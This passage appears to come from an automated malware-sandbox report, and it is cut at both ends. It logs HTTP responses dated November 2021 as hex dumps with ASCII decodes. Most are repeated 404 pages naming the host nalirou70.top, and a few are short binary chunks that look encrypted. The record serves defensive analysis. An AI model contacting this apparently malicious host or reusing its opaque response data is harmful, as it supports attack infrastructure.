6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:39 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 61 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 86 4c 02 71 17 e9 f7 dc fc be 1e b4 53 dd 6e b6 46 4f da 00 e9 ec 0d 0a 30 0d 0a 0d 0a Data Ascii: 2aI:82OLqSnFO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:21:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:22:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 36 37 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 0c ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 df 43 d0 fe 2e 83 21 eb af 95 53 2d e5 b4 4f 28 e3 b3 b5 6e fb 91 b4 5f ab 74 90 cc 36 43 57 39 09 4e dc bb 41 bb e8 51 85 b1 ca 0d cd 3a d6 cf 74 6a 0d 0a 30 0d 0a 0d 0a Data Ascii: 67I:82OB%,YR("XQC.!S-O(n_t6CW9NAQ:tj0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:22:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:22:05 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:22:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Tue, 09 Nov 2021 21:22:08 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was 